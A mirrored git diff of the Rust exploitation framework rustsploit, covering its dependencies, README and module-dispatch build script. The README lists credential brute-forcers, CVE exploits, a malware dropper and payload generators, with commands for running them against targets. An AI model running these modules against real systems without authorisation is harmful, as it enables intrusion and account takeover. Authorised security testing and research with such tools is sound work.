mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d10c81c236 | |||
| 6a4aa3a2ad | |||
| 0b1c1a8c7a |
+83
-105
@@ -1,114 +1,92 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.3.5"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9.0"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
rustyline = "15.0.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
tokio-socks = "0.5.2"
|
||||
rustls = "0.23.26"
|
||||
webpki-roots = "0.26.8"
|
||||
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2.14"
|
||||
sysinfo = { version = "0.34.2", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
walkdir = "2.5.0"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22.1"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12.8"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
ipnet = "2.11.0"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7.0"
|
||||
ftp = "3.0.1"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2.172"
|
||||
futures = "0.3.31"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0.140"
|
||||
futures-util = "0.3.31"
|
||||
tokio-tungstenite = "0.26.2"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8.3"
|
||||
cipher = "0.4.4"
|
||||
flate2 = "1.0.30"
|
||||
|
||||
#avanti
|
||||
url = "2.5.4"
|
||||
semver = "1.0.26"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34" # Or the latest compatible version
|
||||
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11.1" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "15.0"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
h2 = "0.3"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.7"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.0"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
pnet_packet = "0.34"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.20"
|
||||
regex = "1.11" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.24", features = ["dnssec"] }
|
||||
hickory-proto = "0.24"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "=0.5.11" # pinned for edition 2021 compatibility
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
@@ -1,434 +1,215 @@
|
||||
# Rustsploit 🛠️
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
📚 **Developer Documentation**:
|
||||
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
|
||||
---
|
||||
### Goals & To Do lists
|
||||
|
||||
## Table of Contents
|
||||
Convert exploits and add modules
|
||||
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Requirements
|
||||
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
# completed
|
||||
```
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
added stalkroute a traceroute with firewall evasion requires root
|
||||
added malware dropper narruto dropper
|
||||
added refactored and fixed and improve alot of modules
|
||||
added added new version of payloadgen
|
||||
added smtp bruteforcer
|
||||
added pop3 bruteforcer
|
||||
added zte zte_zxv10_h201l_rce_authenticationbypass
|
||||
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
|
||||
added apache_tomcat cve_2025_24813_apache_tomcat_rce
|
||||
added apache_tomcat catkiller_cve_2025_31650
|
||||
added palto_alto CVE-2025-0108. auth bypass
|
||||
added acm_5611_rce
|
||||
added zabbix_7_0_0_sql_injection
|
||||
added cve_2024_7029_avtech_camera
|
||||
added pachev_ftp_path_traversal_1_0
|
||||
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
|
||||
added ftps support
|
||||
added ipv6 support to ftp anon and brute
|
||||
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
|
||||
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
|
||||
bomb Persistence create SSH user | Remote Root Shell
|
||||
|
||||
### Clone + Build
|
||||
added spotube exploit zero day exploit as of 24 april reported to spotube
|
||||
added exploit tplink_wr740n Buffer Overflow 'DOS'
|
||||
added exploit tp_link_vn020 Denial Of Service (DOS)
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
|
||||
added exploit uniview_nvr_pwd_disclosure password disclore
|
||||
updated docs again and readme
|
||||
rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added ping_sweep network scanner
|
||||
added http_title_scanner
|
||||
added log4j_scanner
|
||||
added heartbleed_scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
added proxy support https/http socks4/socks5
|
||||
telnet brute forcing module
|
||||
ssh brute forcing module
|
||||
ftp anonymous login module
|
||||
ftp brute forcing module
|
||||
added rtsp_bruteforce module
|
||||
dynamic modules listing and colored listing
|
||||
```
|
||||
|
||||
```
|
||||
---
|
||||
```
|
||||
## 🚀 Building & Running
|
||||
## 📦🛠️ requirements
|
||||
`
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11
|
||||
|
||||
for rdp bruteforce modudle
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
### 📦 Clone the Repository
|
||||
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
```
|
||||
|
||||
### 🛠️ Build the Project
|
||||
|
||||
```
|
||||
cargo build
|
||||
```
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```
|
||||
To build and run:
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
|
||||
```
|
||||
cargo install --path .
|
||||
To install:
|
||||
```
|
||||
cargo install
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
Launch the interactive RSF shell:
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
|
||||
---
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
Once inside the shell:
|
||||
|
||||
```text
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
help help | h | ? Show this screen
|
||||
modules modules | ls | m List discovered modules
|
||||
find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> show_proxies
|
||||
rsf> proxy_on / proxy_off
|
||||
rsf> proxy_load proxies.txt
|
||||
rsf> find
|
||||
rsf> use exploits/heartbleed
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Example session:
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
|
||||
|
||||
---
|
||||
|
||||
## CLI Usage
|
||||
### 🔧 Run in CLI Mode
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```
|
||||
# Exploit
|
||||
#### ▶ Exploit
|
||||
```
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
```
|
||||
|
||||
# Scanner
|
||||
#### 🧪 Scanner
|
||||
```
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
|
||||
# Credentials
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
#### 🔐 Credentials
|
||||
```
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config example
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
## 🌐 Proxy Retry Logic (Shell Mode)
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
- If proxies are loaded and `proxy_on` is active:
|
||||
- Random proxy is used from list
|
||||
- On failure, tries another until successful
|
||||
- If all fail, it runs once **without proxy**
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
## 📂 Module System
|
||||
|
||||
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
|
||||
Modules are automatically detected using `build.rs` and registered as:
|
||||
- Short: `port_scanner`
|
||||
- Full: `scanners/port_scanner`
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
Each module must define:
|
||||
```
|
||||
pub async fn run(target: &str) -> Result<()>
|
||||
```
|
||||
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
|
||||
Optional:
|
||||
```
|
||||
pub async fn run_interactive(target: &str) -> Result<()>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
## 🧼 Shell State
|
||||
|
||||
Contributions are welcome! High-level suggestions:
|
||||
The shell keeps:
|
||||
- Current module
|
||||
- Current target
|
||||
- Proxy list + state
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
|
||||
4. Document usage patterns in module comments
|
||||
5. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
|
||||
No session state is saved — everything resets on restart.
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
## 💡 Want to Add a Module?
|
||||
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Wordlists:** Seclists + custom additions (`lists/` directory)
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
Includes:
|
||||
- ✅ How to write modules
|
||||
- 🧠 Auto-dispatch system explained
|
||||
- 📦 Module placement
|
||||
- 🌐 Proxy logic details
|
||||
- 🔍 Scanner vs Exploit vs Credential paths
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools
|
||||
|
||||
## 👥 Credits
|
||||
|
||||
- **wordlists*: seclists & me
|
||||
|
||||
|
||||
---
|
||||
|
||||
@@ -1,213 +1,96 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
|
||||
/// Build script that generates module dispatchers for exploits, scanners, and creds.
|
||||
///
|
||||
/// This script:
|
||||
/// - Scans `src/modules/{category}/` directories recursively
|
||||
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
|
||||
/// - Generates dispatch functions that support both short names and full paths
|
||||
/// - Creates deterministic, sorted output for better maintainability
|
||||
|
||||
fn main() {
|
||||
// Tell Cargo to rerun this build script if module directories change
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
|
||||
// Generate dispatchers for each module category
|
||||
let categories = vec![
|
||||
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
|
||||
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
|
||||
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
|
||||
];
|
||||
|
||||
for (root, out_file, mod_prefix, category_name) in categories {
|
||||
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
|
||||
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
generate_dispatch(
|
||||
"src/modules/exploits",
|
||||
"exploit_dispatch.rs",
|
||||
"crate::modules::exploits"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/creds",
|
||||
